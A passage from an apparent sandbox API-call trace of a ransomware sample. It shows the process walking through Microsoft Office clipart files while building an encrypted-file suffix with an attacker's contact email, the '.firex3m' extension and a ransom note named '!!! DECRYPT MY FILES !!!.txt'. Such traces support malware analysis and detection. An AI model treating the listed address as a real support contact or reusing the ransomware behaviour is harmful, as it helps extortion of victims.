lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x212c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04225_.WMF", cAlternateFileName="")) returned 1 [0133.682] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 1 [0133.682] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf") returned 0x44 [0133.682] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.682] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.682] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.682] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.682] GetProcessHeap () returned 0x630000 [0133.682] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xd0) returned 0x66a3e0 [0133.682] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04235_.WMF", cAlternateFileName="")) returned 1 [0133.682] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 1 [0133.682] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf") returned 0x44 [0133.683] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.683] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.683] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.683] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.683] GetProcessHeap () returned 0x630000 [0133.683] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xd4) returned 0x66a3e0 [0133.683] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc89dc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc89dc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04267_.WMF", cAlternateFileName="")) returned 1 [0133.683] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 1 [0133.683] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf") returned 0x44 [0133.683] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.683] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.683] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.683] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.684] GetProcessHeap () returned 0x630000 [0133.684] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xd8) returned 0x66a3e0 [0133.684] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04269_.WMF", cAlternateFileName="")) returned 1 [0133.685] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 1 [0133.685] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf") returned 0x44 [0133.685] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.685] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.685] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.685] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.685] GetProcessHeap () returned 0x630000 [0133.685] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xdc) returned 0x66a3e0 [0133.685] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04323_.WMF", cAlternateFileName="")) returned 1 [0133.685] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 1 [0133.685] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf") returned 0x44 [0133.686] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.686] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.686] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.686] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.686] GetProcessHeap () returned 0x630000 [0133.686] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xe0) returned 0x66a3e0 [0133.686] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc89dc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc89dc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04326_.WMF", cAlternateFileName="")) returned 1 [0133.686] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 1 [0133.686] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf") returned 0x44 [0133.686] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.686] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.686] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.686] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.687] GetProcessHeap () returned 0x630000 [0133.687] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xe4) returned 0x66a3e0 [0133.687] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04332_.WMF", cAlternateFileName="")) returned 1 [0133.687] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 1 [0133.687] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf") returned 0x44 [0133.687] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.687] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.687] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.687] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.687] GetProcessHeap () returned 0x630000 [0133.687] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xe8) returned 0x66a3e0 [0133.687] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04355_.WMF", cAlternateFileName="")) returned 1 [0133.687] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 1 [0133.687] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf") returned 0x44 [0133.688] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.688] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.688] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.688] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.688] GetProcessHeap () returned 0x630000 [0133.688] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xec) returned 0x66a3e0 [0133.688] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04369_.WMF", cAlternateFileName="")) returned 1 [0133.688] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 1 [0133.688] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf") returned 0x44 [0133.688] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.688] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.688] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.688] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.689] GetProcessHeap () returned 0x630000 [0133.689] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xf0) returned 0x66a3e0 [0133.689] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04384_.WMF", cAlternateFileName="")) returned 1 [0133.689] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 1 [0133.689] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf") returned 0x44 [0133.689] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.689] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.689] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.689] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.689] GetProcessHeap () returned 0x630000 [0133.689] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xf4) returned 0x66a3e0 [0133.689] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04385_.WMF", cAlternateFileName="")) returned 1 [0133.689] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 1 [0133.690] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf") returned 0x44 [0133.690] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.690] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.690] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.690] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.690] GetProcessHeap () returned 0x630000 [0133.690] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xf8) returned 0x66a3e0 [0133.690] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BABY_01.MID", cAlternateFileName="")) returned 1 [0133.690] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID", len=0x43 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 1 [0133.690] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid") returned 0x43 [0133.690] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.690] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.690] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.690] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.691] GetProcessHeap () returned 0x630000 [0133.691] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xfc) returned 0x66a3e0 [0133.691] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1306, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00116_.WMF", cAlternateFileName="")) returned 1 [0133.691] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program 